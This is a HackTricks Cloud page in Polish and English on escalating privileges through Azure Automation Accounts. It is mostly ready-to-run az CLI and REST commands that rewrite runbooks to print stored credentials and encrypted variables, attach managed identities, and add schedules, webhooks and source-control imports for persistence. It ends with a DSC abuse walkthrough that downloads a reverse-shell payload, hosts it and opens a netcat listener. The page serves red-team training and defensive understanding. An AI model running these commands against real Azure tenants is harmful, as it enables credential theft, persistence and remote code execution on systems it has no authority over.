Az - Azure Automation Accounts Privesc
Tip
Ucz się & ćwicz AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Wspieraj HackTricks
- Sprawdź subscription plans!
- Dołącz do 💬 Discord group lub telegram group lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Podziel się hacking tricks, zgłaszając PRy do HackTricks i HackTricks Cloud github repos.
Azure Automation Accounts
Więcej informacji:
Hybrid Workers Group
- Z Automation Account do VM
Pamiętaj, że jeśli w jakiś sposób atakujący może uruchomić dowolny runbook (dowolny kod) na hybrid worker, to będzie mógł pivotować do lokalizacji VM. Może to być maszyna on-premise, VPC w innej chmurze lub nawet Azure VM.
Dodatkowo, jeśli hybrid worker działa w Azure z dołączonymi innymi Managed Identities, runbook będzie miał dostęp do managed identity runbooka oraz wszystkich managed identities VM z metadata service.
Tip
Pamiętaj, że metadata service ma inny URL (
http://169.254.169.254) niż serwis, z którego pobiera się tokeny managed identities dla automation account (IDENTITY_ENDPOINT).
- Z VM do Automation Account
Jeżeli ktoś przejmie VM, na którym działa skrypt automation account, będzie w stanie zlokalizować metadane Automation Account i uzyskać do nich dostęp z VM, aby pobrać tokeny dla Managed Identities przypisanych do Automation Account.
Jak widać na poniższym obrazie, mając dostęp administratora do VM można znaleźć w zmiennych środowiskowych procesu URL i sekret umożliwiające dostęp do serwisu metadanych automation account:

Microsoft.Automation/automationAccounts/jobs/write, Microsoft.Automation/automationAccounts/runbooks/draft/write, Microsoft.Automation/automationAccounts/jobs/output/read, Microsoft.Automation/automationAccounts/runbooks/publish/action (Microsoft.Resources/subscriptions/resourcegroups/read, Microsoft.Automation/automationAccounts/runbooks/write)
W skrócie te uprawnienia pozwalają tworzyć, modyfikować i uruchamiać Runbooks w Automation Account, co można wykorzystać do wykonywania kodu w kontekście Automation Account i eskalacji uprawnień do przypisanych Managed Identities oraz leak credentials i encrypted variables przechowywanych w Automation Account.
Uprawnienie Microsoft.Automation/automationAccounts/runbooks/draft/write pozwala modyfikować kod Runbooka w Automation Account używając:
# Update the runbook content with the provided PowerShell script
az automation runbook replace-content --no-wait \
--resource-group Resource_Group_1 \
--automation-account-name autoaccount1 \
--name AzureAutomationTutorialWithIdentity \
--content '$creds = Get-AutomationPSCredential -Name "<credential-name>"
$runbook_variable = Get-AutomationVariable -Name "<encrypted-variable-name>"
$runbook_variable
$creds.GetNetworkCredential().username
$creds.GetNetworkCredential().password'
Zauważ, jak poprzedni skrypt może być użyty do leak the useranmd and password poświadczenia oraz wartości zaszyfrowanej zmiennej przechowywanej w Automation Account.
Uprawnienie Microsoft.Automation/automationAccounts/runbooks/publish/action pozwala użytkownikowi opublikować Runbook w Automation Account, dzięki czemu zmiany zostaną zastosowane:
az automation runbook publish \
--resource-group <res-group> \
--automation-account-name <account-name> \
--name <runbook-name>
Uprawnienie Microsoft.Automation/automationAccounts/jobs/write pozwala użytkownikowi uruchomić Runbook w Automation Account przy użyciu:
az automation runbook start \
--automation-account-name <account-name> \
--resource-group <res-group> \
--name <runbook-name> \
[--run-on <name-hybrid-group>]
Uprawnienie Microsoft.Automation/automationAccounts/jobs/output/read pozwala użytkownikowi odczytać wynik zadania w Automation Account przy użyciu:
az rest --method GET \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/jobs/<job-name>/output?api-version=2023-11-01"
Jeśli nie istnieją utworzone Runbooks lub chcesz utworzyć nowy, będziesz potrzebować uprawnień Microsoft.Resources/subscriptions/resourcegroups/read i Microsoft.Automation/automationAccounts/runbooks/write aby to zrobić, używając:
az automation runbook create --automation-account-name <account-name> --resource-group <res-group> --name <runbook-name> --type PowerShell
Microsoft.Automation/automationAccounts/write, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action
To uprawnienie pozwala użytkownikowi przypisać tożsamość zarządzaną przez użytkownika do Automation Account przy użyciu:
az rest --method PATCH \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>?api-version=2020-01-13-preview" \
--headers "Content-Type=application/json" \
--body '{
"identity": {
"type": "UserAssigned",
"userAssignedIdentities": {
"/subscriptions/<subscripntion-id>/resourceGroups/<res-group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<user-managed-identity-name>": {}
}
}
}'
Microsoft.Automation/automationAccounts/schedules/write, Microsoft.Automation/automationAccounts/jobSchedules/write
Dzięki uprawnieniu Microsoft.Automation/automationAccounts/schedules/write możliwe jest utworzenie nowego Schedule w Automation Account, który jest wykonywany co 15 minut (niezbyt stealth) za pomocą następującego polecenia.
Należy pamiętać, że minimalny interwał dla Schedule to 15 minut, a minimalny czas rozpoczęcia to 5 minut w przyszłości.
## For linux
az automation schedule create \
--resource-group <RESOURCE_GROUP> \
--automation-account-name <AUTOMATION_ACCOUNT_NAME> \
--name <SCHEDULE_NAME> \
--description "Triggers runbook every minute" \
--start-time "$(date -u -d "7 minutes" +%Y-%m-%dT%H:%M:%SZ)" \
--frequency Minute \
--interval 15
## Form macOS
az automation schedule create \
--resource-group <RESOURCE_GROUP> \
--automation-account-name <AUTOMATION_ACCOUNT_NAME> \
--name <SCHEDULE_NAME> \
--description "Triggers runbook every 15 minutes" \
--start-time "$(date -u -v+7M +%Y-%m-%dT%H:%M:%SZ)" \
--frequency Minute \
--interval 15
Następnie, mając uprawnienie Microsoft.Automation/automationAccounts/jobSchedules/write, można przypisać Scheduler do runbooku za pomocą:
az rest --method PUT \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-accounts>/jobSchedules/b510808a-8fdc-4509-a115-12cfc3a2ad0d?api-version=2015-10-31" \
--headers "Content-Type=application/json" \
--body '{
"properties": {
"runOn": "",
"runbook": {
"name": "<runbook-name>"
},
"schedule": {
"name": "<scheduler-name>>"
},
"parameters": {}
}
}'
Tip
W poprzednim przykładzie identyfikator jobSchedule został ustawiony na
b510808a-8fdc-4509-a115-12cfc3a2ad0das exmple, ale będziesz musiał użyć dowolnej wartości, aby utworzyć to przypisanie.
Microsoft.Automation/automationAccounts/webhooks/write
Dzięki uprawnieniu Microsoft.Automation/automationAccounts/webhooks/write możliwe jest utworzenie nowego Webhook dla Runbook wewnątrz Automation Account przy użyciu jednej z następujących komend.
W Azure Powershell:
New-AzAutomationWebHook -Name <webhook-name> -ResourceGroupName <res-group> -AutomationAccountName <automation-account-name> -RunbookName <runbook-name> -IsEnabled $true
Za pomocą AzureCLI i REST:
az rest --method put \
--uri "https://management.azure.com/subscriptions/<subscriptionID>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/webhooks/<webhook-name>?api-version=2015-10-31" \
--body '{
"name": "<webhook-name>",
"properties": {
"isEnabled": true,
"expiryTime": "2027-12-31T23:59:59+00:00",
"runOn": "<worker name>",
"runbook": {
"name": "<runbook-name>"
}
}
}'
Te polecenia powinny zwrócić webhook URI, które jest wyświetlane tylko podczas tworzenia. Następnie, aby wywołać runbook przy użyciu webhook URI
curl -X POST "https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-automation.net/webhooks?token=Ts5WmbKk0zcuA8PEUD4pr%2f6SM0NWydiCDqCqS1IdzIU%3d" \
-H "Content-Length: 0"
Microsoft.Automation/automationAccounts/runbooks/draft/write
Posiadając tylko uprawnienie Microsoft.Automation/automationAccounts/runbooks/draft/write, można zaktualizować kod Runbooka bez jego publikowania i uruchomić go za pomocą następujących poleceń.
# Update the runbook content with the provided PowerShell script
az automation runbook replace-content --no-wait \
--resource-group Resource_Group_1 \
--automation-account-name autoaccount1 \
--name AzureAutomationTutorialWithIdentity \
--content 'echo "Hello World"'
# Run the unpublished code
## Indicate the name of the hybrid worker group in runOn to execute the runbook there
az rest \
--method PUT \
--url "https://management.azure.com/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Automation/automationAccounts/autoaccount1/runbooks/AzureAutomationTutorialWithIdentity/draft/testJob?api-version=2023-05-15-preview" \
--headers "Content-Type=application/json" \
--body '{
"parameters": {},
"runOn": "",
"runtimeEnvironment": "PowerShell-5.1"
}'
# Get the output (a different permission is needed here, but you could get a revershell or exfiltrate the token to avoid needing this permission)
az rest --method get --url "https://management.azure.com/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Automation/automationAccounts/autoaccount1/runbooks/AzureAutomationTutorialWithIdentity/draft/testJob/streams?api-version=2019-06-01"
Microsoft.Automation/automationAccounts/sourceControls/write, (Microsoft.Automation/automationAccounts/sourceControls/read)
To uprawnienie pozwala użytkownikowi skonfigurować system kontroli wersji dla Automation Account, używając poleceń takich jak poniższe (w przykładzie użyto Github):
az automation source-control create \
--resource-group <res-group> \
--automation-account-name <automation-account-name> \
--name RemoteGithub \
--repo-url https://github.com/carlospolop/gh-runbooks.git \
--branch main \
--folder-path /runbooks/ \
--publish-runbook true \
--auto-sync \
--source-type GitHub \
--token-type PersonalAccessToken \
--access-token github_pat_11AEDCVZ<rest-of-the-token>
This will automatically import the runbooks from the Github repository to the Automation Account and with some other permission to start running them it would be possible to escalate privileges.
Moreover, remember that for source control to work in Automation Accounts it must have a managed identity with the role Contributor and if it’s a user managed identity the cleint id of the MI must be specified in the variable AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID.
Tip
Note that it’s not possible to change the repo URL of a source control once it’s created.
Microsoft.Automation/automationAccounts/variables/write
With the permission Microsoft.Automation/automationAccounts/variables/write it’s possible to write variables in the Automation Account using the following command.
az rest --method PUT \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/variables/<variable-name>?api-version=2019-06-01" \
--headers "Content-Type=application/json" \
--body '{
"name": "<variable-name>",
"properties": {
"description": "",
"value": "\"<variable-value>\"",
"isEncrypted": false
}
}'
Niestandardowe środowiska runtime
Jeśli automation account używa custom runtime, możliwe jest nadpisanie niestandardowego pakietu tego runtime złośliwym kodem (np. a backdoor). W ten sposób za każdym razem, gdy runbook korzystający z tego custom runtime zostanie uruchomiony i załaduje ten custom package, złośliwy kod zostanie wykonany.
Kompromitacja konfiguracji stanu
Przeczytaj cały wpis na: https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe
- Krok 1 — Utwórz pliki
Wymagane pliki: Potrzebne są dwa skrypty PowerShell:
reverse_shell_config.ps1: Plik Desired State Configuration (DSC), który pobiera i wykonuje payload. Dostępny na GitHub.push_reverse_shell_config.ps1: Skrypt publikujący konfigurację na VM, dostępny na GitHub.
Dostosowanie: Zmienne i parametry w tych plikach muszą być dopasowane do konkretnego środowiska użytkownika, w tym nazwy zasobów, ścieżek plików oraz identyfikatorów serwera/payload.
- Krok 2 — Spakuj plik konfiguracyjny
Plik reverse_shell_config.ps1 jest skompresowany do pliku .zip, przygotowując go do przesłania do Azure Storage Account.
Compress-Archive -Path .\reverse_shell_config.ps1 -DestinationPath .\reverse_shell_config.ps1.zip
- Krok 3 — Set Storage Context & Upload
Skompresowany plik konfiguracyjny jest przesyłany do zdefiniowanego wcześniej kontenera Azure Storage, azure-pentest, przy użyciu cmdletu Set-AzStorageBlobContent.
Set-AzStorageBlobContent -File "reverse_shell_config.ps1.zip" -Container "azure-pentest" -Blob "reverse_shell_config.ps1.zip" -Context $ctx
- Krok 4 — Przygotowanie Kali Box
Serwer Kali pobiera payload RevPS.ps1 z repozytorium GitHub.
wget https://raw.githubusercontent.com/nickpupp0/AzureDSCAbuse/master/RevPS.ps1
Skrypt jest edytowany, aby określić docelowy Windows VM i port dla reverse shell.
- Krok 5 — Opublikuj plik konfiguracji
Plik konfiguracji jest uruchamiany, w wyniku czego skrypt reverse-shell zostaje wdrożony w określonej lokalizacji na Windows VM.
- Krok 6 — Hostuj payload i skonfiguruj listener
Uruchamiany jest Python SimpleHTTPServer, aby hostować payload, oraz listener Netcat w celu przechwycenia przychodzących połączeń.
sudo python -m SimpleHTTPServer 80
sudo nc -nlvp 443
Zaplanowane zadanie wykonuje payload, uzyskując uprawnienia na poziomie SYSTEM.
Tip
Ucz się & ćwicz AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Wspieraj HackTricks
- Sprawdź subscription plans!
- Dołącz do 💬 Discord group lub telegram group lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Podziel się hacking tricks, zgłaszając PRy do HackTricks i HackTricks Cloud github repos.
HackTricks Cloud

